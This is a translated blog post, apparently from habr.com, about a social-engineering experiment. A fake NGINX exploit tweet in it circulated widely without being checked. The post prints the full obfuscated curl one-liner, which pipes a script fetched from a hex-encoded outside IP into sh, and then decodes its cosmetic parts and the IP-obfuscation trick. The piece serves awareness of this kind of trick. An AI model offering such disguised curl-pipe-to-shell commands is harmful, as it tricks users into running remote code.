O sucesso do experimento social com um exploit falso para nginx

Nota do tradutor.: Autor: uma nota original publicada em 1º de junho, decidiu realizar um experimento entre aqueles interessados em segurança da informação. Para isso, ele preparou um exploit falso para uma vulnerabilidade não divulgada em um servidor web e o postou no seu Twitter. Suas suposições — ser imediatamente desmascarado por especialistas que veriam a óbvia fraude no código — não apenas não se confirmaram... Elas superaram todas as expectativas, mas de forma inversa: o tweet recebeu um enorme apoio de inúmeras pessoas que não verificaram seu conteúdo.

TL;DR: de forma alguma utilize a concatenização de arquivos em sh ou bash. É uma excelente maneira de perder o controle sobre o computador.

Quero compartilhar com vocês uma pequena história sobre um PoC exploit humorístico que foi criado em 31 de maio. Ele surgiu rapidamente em resposta à notícia de Alisa Esage Shevchenko, membro da Zero Day Initiative (ZDI), sobre a divulgação iminente de informações sobre uma vulnerabilidade em NGINX que leva a RCE (execução remota de código). Como o NGINX está na base de muitos sites, a notícia deveria ter um efeito de bomba. Mas devido a atrasos no processo de 'divulgação responsável' das informações, os detalhes do ocorrido não eram conhecidos — essa é a rotina padrão do ZDI.

O tweet sobre a vulnerabilidade em NGINX

Terminado o trabalho em uma nova técnica de ofuscação no curl, eu citei o tweet original e 'vazei um PoC funcional', consistindo em uma linha de código, que supostamente explorava a vulnerabilidade descoberta. Claro, isso era uma completa bobagem. Eu achei que me desmascarariam imediatamente, e que na melhor das hipóteses eu receberia alguns retweets (e tudo bem).

O tweet com o exploit falso

No entanto, eu não conseguia imaginar o que aconteceu a seguir. A popularidade do meu tweet disparou. Surpreendentemente, até este momento (15:00 hora de Moscovo, 1º de junho) ainda são poucas as pessoas que perceberam que se tratava de uma falsificação. Muitos retweetam sem checar (sem mencionar admirar a bela arte ASCII que ele gera).

Só olhem que beleza!

Embora todos esses ciclos e cores sejam notáveis, é evidente que, para vê-los, as pessoas precisavam executar o código em suas máquinas. Felizmente, os navegadores funcionam de forma semelhante e, considerando que problemas legais não são algo que eu busco, o código escondido no meu site apenas fazia chamadas echo, sem tentar estabelecer ou executar qualquer código adicional.

Uma pequena digressão: netspooky, dnz, eu e outros membros da equipe Thugcrowd temos brincado há algum tempo com diferentes maneiras de ofuscar comandos curl, porque é divertido... e somos geeks. Netspooky e dnz descobriram algumas novas técnicas que me pareceram extremamente promissoras. Eu entrei na diversão e tentei adicionar conversões IP-decimais ao conjunto de truques. Descobri que o IP também pode ser convertido para o formato hexadecimal. Além disso, curl e a maioria das outras ferramentas NIX consomem alegremente IPs hexadecimais! Assim, achei que só precisava criar uma linha de comando convincente e com aparência segura. No final, optei por esta:

curl -gsS https://127.0.0.1-OU-SERVIDOR-VÍTIMA:443/../../..//nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Engenharia socioeletrônica (S.E.E.) — mais do que apenas phishing

A segurança e a familiaridade foram partes fundamentais deste experimento. Acredito que foram elas que levaram ao seu sucesso. A linha de comando claramente sugeria segurança, referindo-se a "127.0.0.1" (o famoso localhost). Acredita-se que o localhost é seguro e que os dados nele nunca saem do seu computador.

A familiaridade foi o segundo componente chave da S.E.E. do experimento. Dado que o público-alvo consistia principalmente em pessoas familiarizadas com os fundamentos da segurança da computação, era importante criar um código cujas partes parecessem conhecidas e familiares (e, portanto, seguras). Pegar elementos de conceitos antigos de exploits e combiná-los de uma maneira não usual resultou ser bastante bem-sucedido.

Abaixo está uma análise detalhada do one-liner. Tudo nesta lista é de natureza cosmética, e para seu funcionamento real, praticamente nada é necessário.

Quais componentes são realmente necessários? São estes: -gsS, -O 0x0238f06a, |sh e o próprio servidor web. O servidor web não continha instruções maliciosas, mas apenas transmitia gráficos ASCII usando comandos echo no script contido em index.html. Quando o usuário digitava uma string com |sh no meio, index.html era carregado e executado. Felizmente, os mantenedores do servidor web não tinham más intenções.

• ../../../%00 — representa uma saída para fora do diretório;
• ngx_stream_module.so — caminho para um módulo aleatório do NGINX;
• /bin/sh%00<'protocol:TCP' — supostamente estamos iniciando /bin/sh na máquina alvo e redirecionando a saída para um canal TCP;
• -O 0x0238f06a#PLToffset — ingrediente secreto, adicionado #PLToffset, para parecer um deslocamento de memória, de alguma forma contido no PLT;
• |sh; — mais um fragmento importante. Precisávamos redirecionar a saída para sh/bash para executar o código que chegava do servidor web atacante, localizado em 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost — um placeholder, onde o netcat se refere a /dev/tcp/localhost, para que tudo parecesse seguro novamente. Na verdade, não faz nada e está incluído na string para parecer bonito.

Aqui termina a decodificação do script de uma linha e a discussão sobre os aspectos da 'engenharia socioeletrônica' (phishing elaborado).

Configuração do servidor web e medidas de contraposição

Como a grande maioria dos meus assinantes são especialistas em segurança da informação/hackers, decidi tornar o servidor web um pouco mais resistente a manifestações de 'interesse' da parte deles apenas para que eles tivessem algo com que se ocupar (e também foi divertido configurá-lo). Não pretendo listar todas as armadilhas aqui, pois o experimento ainda está em andamento, mas aqui estão algumas coisas que o servidor faz:

• Acompanha ativamente as tentativas de disseminação em certas redes sociais e insere várias miniaturas de pré-visualização para incentivar o usuário a clicar no link.
• Redireciona Chrome/Mozilla/Safari/etc. para um vídeo promocional da Thugcrowd em vez de mostrar o script shell.
• Observa SINAIS CLAROS de invasão/hacking agressivo, após o que começa a redirecionar as requisições para servidores da NSA (haha!).
• Instala um trojan e um rootkit de BIOS em todos os computadores cujos usuários acessam o host de um navegador comum (brincadeira!).

Uma pequena parte do anti-meme

Neste caso, meu único objetivo era explorar algumas funcionalidades do Apache — em particular, regras legais para redirecionamento de requisições — e pensei: por que não?

Exploit do NGINX (real!)

Siga @alisaesage no Twitter e fique por dentro do trabalho incrível da ZDI na correção de vulnerabilidades reais e oportunidades de exploits no NGINX. O trabalho deles sempre me fascinou, e sou grato à Alisa pela paciência relacionada a todas as menções e notificações causadas pelo meu tweet estúpido. Felizmente, isso trouxe algum benefício: ajudou a aumentar a conscientização sobre as vulnerabilidades do NGINX, bem como sobre os problemas causados pelo abuso do curl.

Fonte: habr.com